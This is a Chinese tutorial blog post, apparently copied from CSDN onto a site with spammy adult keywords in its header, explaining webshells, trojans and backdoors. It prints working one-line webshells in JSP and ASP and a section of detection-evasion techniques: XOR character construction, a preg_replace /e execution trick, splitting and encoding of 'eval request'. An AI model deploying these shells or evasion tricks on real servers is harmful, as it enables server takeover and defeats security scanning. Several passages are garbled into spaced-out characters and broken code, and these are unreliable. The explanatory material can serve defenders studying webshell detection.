日本免费高清视频-国产福利视频导航-黄色在线播放国产-天天操天天操天天操天天操|www.shdianci.com

學無先后,達者為師

網站首頁 編程語言 正文

webshell及木馬詳解

作者:金色%夕陽 更新時間: 2022-05-12 編程語言

一、Webshell

1.Webshell基本介紹

webshell,顧名思義:web指的是在web服務器上,而shell是用腳本語言編寫的腳本程序,webshell就是就是web的一個管理工具,可以對web服務器進行操作的權限,也叫webadmin。webshell一般是被網站管理員用于網站管理、服務器管理等等一些用途,但是由于webshell的功能比較強大,可以上傳下載文件,查看數據庫,甚至可以調用一些服務器上系統的相關命令(比如創建用戶,修改刪除文件之類的),通常被黑客利用,黑客通過一些上傳方式,將自己編寫的webshell上傳到web服務器的頁面的目錄下,然后通過頁面訪問的形式進行入侵,或者通過插入一句話連接本地的一些相關工具直接對服務器進行入侵操作。

1.1 什么是木馬

“木馬”全稱是“特洛伊木馬(Trojan< BR >Horse)”,原指古希臘士兵藏在木馬內進入敵方城市從而占領敵方城市的故事。在Internet上,“特洛伊木馬”指一些程序設計人員在其可從網絡上下載 (Download)的應用程序或游戲中,包含了可以控制用戶的計算機系統的程序,可能造成用戶的系統被破壞甚至癱瘓。

1.2 什么是后門

大家都知道,一臺計算機上有65535個端口,那么如果把計算機看作是一間屋子,那么這65535個端口就可以它看做是計算機為了與外界連接所開的65535 扇門。每個門的背后都是一個服務。有的門是主人特地打開迎接客人的(提供服務),有的門是主人為了出去訪問客人而開設的(訪問遠程服務)——理論上,剩下的其他門都該是關閉著的,但偏偏由于各種原因,很多門都是開啟的。于是就有好事者進入,主人的隱私被刺探,生活被打擾,甚至屋里的東西也被搞得一片狼跡。這扇悄然被開啟的門——就是“后門”。

1.3 什么是webshell

簡單來說,webshell就是一個web的木馬后門,黑客在入侵了一個網站后,常常在將這些web木馬后門文件放置在網站服務器的web目錄中,與正常的網頁文件混在一起。然后黑客就可以用web的方式,通過asp或php木馬后門控制網站服務器,包括上傳下載文件、查看數據庫、執行任意程序命令等。

2. Webshell分類

Webshell根據不同的文件大小、功能、開發的語言版本等不同,可以進行不同的分類,常見的webshell分類方式有以下兩種方式。

2.1 不同的開發語言

webshell根據腳本可以分為PHP腳本木馬,ASP腳本木馬,也有基于.NET的腳本木馬和JSP腳本木馬。在國外,還有用python腳本語言寫的動態網頁,當然也有與之相關的webshell。

不同腳本類型的簡單木馬
JSP <%Runtime.getRuntime().exec(request.getParameter(“i”));%>
ASP <%eval request(“cmd”)%>
PHP

2.2 代碼量(shell功能)大小

根據功能也分為大馬與小馬,小馬通常指的一句話木馬,例如:<%eval request(“pass”)%>通常把這句話寫入一個文檔里面,然后文件名改成xx.asp。然后傳到服務器上面。這里eval方法將request(“pass”)轉換成代碼執行,request函數的作用是應用外部文件。這相當于一句話木馬的客戶端配置。
大馬與小馬區別:

		一句話木馬(小馬)					大馬
功能		功能簡單,需要配合客戶端使用			功能完善,直接使用瀏覽器即可利用

大小		代碼量通常在一行左右,不超過10行		代碼量通常較大

隱蔽性	隱蔽性強							隱蔽性相對較弱
		容易通過變形隱藏特征				通過加密等方式來隱藏特征	
		容易繞過過濾						相對不易繞過過濾

二、一句話木馬

1. 什么是一句話木馬?

一句話木馬的原理即可以執行傳遞上來變量的內容,變量名稱即“一句話密碼”,變量內容即后門執行代碼,內容可以是list文件、上傳及下載文件、數據庫操作等等。這類后門通常只一行代碼,因此可以隨意插入web站點的正常文件而并不影響原本代碼的執行,甚至與正常圖片的結合可以形成“圖片馬”。體積小,隱蔽性強是一句話木馬最大的優勢。靈活的變量內容同時成就了很多經典的一句話操作客戶端,如菜刀。

三、木馬特征

當前常見的木馬文件、木馬程序主要特征有隱蔽性、自啟動、欺騙性、自動恢復、端口自啟這五種特征。接下來,簡單對這五種特征進行介紹。

1.隱蔽性

隱蔽性是指木馬必須隱藏在目標計算機中,以免被用戶發現。這是因為木馬設計者不會輕易就讓用戶發現木馬程序。木馬的隱蔽性主要體現在兩個方面:第一是不會在目標計算機產生快捷圖標,第二是木馬程序會自動在任務管理器中隱藏,并以系統服務的形式存在,以欺騙操作系統。

2.自啟動

木馬的自動運行性是指木馬會隨著計算機系統的啟動而自動運行,所以木馬必須潛入計算機的啟動配置文件中,如啟動組或系統進程。直到目標計算機關閉時,木馬才會停止運行。

3.欺騙性

木馬之所以具有欺騙性是為了防止一眼就被計算機用戶認出。為此,被木馬感染的文件一般都用常用的文件名或擴展名,或者仿制一些不易被人區分的文件名,甚至干脆借用系統文件中已有的文件名,只不過他們被保存在不同的路徑之中。

4.自動恢復

木馬的自動恢復是指當木馬的某一些功能模塊丟失時,他能夠自動回復為丟失之前的狀態。現在很多木馬的功能已不再是有單一的文件所組成,而是有多重備份,可以相互恢復的文件。

5.自啟端口

木馬潛入目標計算機的目的不是為了破壞文件,即使為了獲取目標計算機中的有用信息,因此就需要保證能與目標計算機進行通信。木馬會采用服務器/客戶端的通信手段把獲取到的有用信息傳遞給黑客,以便黑客能控制該計算機或實現更進一步的企圖。

四、木馬編寫&免殺處理

1. 木馬編寫

編寫一句話木馬,根據不同的開發語言可以分為不同類型的一句話木馬,其主要分為兩個部分:①用戶可控參數②系統命令執行函數;以php的一句話木馬后門中最普通的一種為例:,其中v作為參數用于傳遞攻擊者提交的內容; P O S T [ ′ ′ ] 用 于 接 收 前 端 攻 擊 者 輸 入 的 內 容 , 這 部 分 作 為 用 戶 可 控 輸 入 內 容 , e v a l ( ) 函 數 是 P H P 語 言 中 的 命 令 執 行 函 數 , 會 將 任 何 字 符 串 當 做 命 令 進 行 執 行 ; 當 _POST['']用于接收前端攻擊者輸入的內容,這部分作為用戶可控輸入內容,eval()函數是PHP語言中的命令執行函數,會將任何字符串當做命令進行執行;當 P?OST[]eval()PHP_POST[‘v’]接收傳值后,利用eval()函數對傳入的參數進行執行。

2. 木馬免殺處理

免殺就是需要特定的關鍵字,我們使用一些特殊的構造方法,或者拆分或者替換等方式,不斷地嘗試躲避服務器端的過濾

2.1 構造法繞過檢測(PHP)

一般的檢測程序會過濾這樣”_POST”,”system”,”call_user_func_array”這樣的字符,這個時候可以用構造法繞過一些檢測程序,基本原理是,php每一個字符都都對應了一個二進制的值,可以采用異或的方式,讓馬中的一個字符用兩個字符異或后的值來代替,在我們的程序過濾數字 字母等的時候也可以派上用場,我的核心思路是,將非字母、數字的字符經過各種變換,最后能構造出a-z中任意一個字符。比如在PHP中,兩個字符串執行異或操作以后,得到的還是一個字符串。所以,我們想得到a-z中某個字母,就找到某兩個非字母、數字的字符,他們的異或結果是這個字母即可,我們也可以使用~來取反。


然后構造與一句話可以寫為


// 結果為@ P O S T [ 0 ] ( _POST[0]( P?OST[0](POST[1])
! 表 示 1 的 相 反 , 在 語 言 里 面 1 代 表 真 , 反 過 來 就 是 0 ( 假 ) , 但 是 這 樣 的 繞 過 方 法 相 當 弱 , 仔 細 想 一 下 , 就 算 是 兩 個 字 符 的 二 進 制 值 異 或 , 但 是 我 們 要 用 某 個 字 符 , 還 是 應 用 那 個 字 符 的 值 , 例 如 : _表示1的相反,在語言里面1代表真,反過來就是0(假),但是這樣的繞過方法相當弱,仔細想一下,就算是兩個字符的二進制值異或,但是我們要用某個字符,還是應用那個字符的值,例如: ?110__=(“#”“|”).(“.”“~”).(“/”“`”).(“|”“/”).(“{”^“/”)的二進制值與_POST字符的值一樣的,要是檢測程序會檢測二進制碼的值,還是會被殺掉。

2.2 正則表達式代替法(PHP)

php中有一個函數preg_replace()函數,這個函數可以實現正則表達式的替換工作。用替換繞過檢測系統還需要php腳本語言里面的一個函數特性,函數在調用的時候,如果函數里面的形參賦的值里面含有命令,就會執行這個命令。

(.+?)<\/title>/ies",'funfunc("\1")', $_POST["cmd"]);
?>

上述代碼就是替代的一個過程,首先創建一個空函數,然后使用preg_replace函數替換表單cmd中的

(這里是html里面表示主題)為funfunc,將post表單中的值寫成 {${phpinfo()}}通過置換,就會變成 funfunc({${phpinfo()}}),由于${}可以解析{}中的內容,所以這里的phpinfo就可以順利執行了。

2.3 回避法(ASP)

因為有的asp服務器為了防止一句話馬,會過濾<%,%>,可以使用:

execute request("cmd")

功能相同,就是換個形式,回避特定腳本語言:aspx一句話


2.4 拆分法(ASP)

將<%eval request(“x”)%>拆分為<%Y=request(“x”)%><%eval(Y)%>
拆分法加強版:

<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>

以上兩句使用了if一句將其分開,中心思想將敏感字符拆分,因為一般asp特征碼為eval(request或者execute(request,拆分了之后檢測不到特征碼,就直接繞過了。

2.5 亂碼變形(ANSI->Unicode加密)

<%eval request("#")%>變形為“┼攠數畣整爠煥敵瑳∨∣┩愾”
eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>

上面一行代碼是采用了ascii加密的方法,chr(114)代表的是ascii中的編號為114個那個字符,即r。上述代碼轉換后的代碼為

<%eval (eval(request("brute"))%>

原文鏈接:https://blog.csdn.net/weixin_53002381/article/details/124161466

欄目分類
最近更新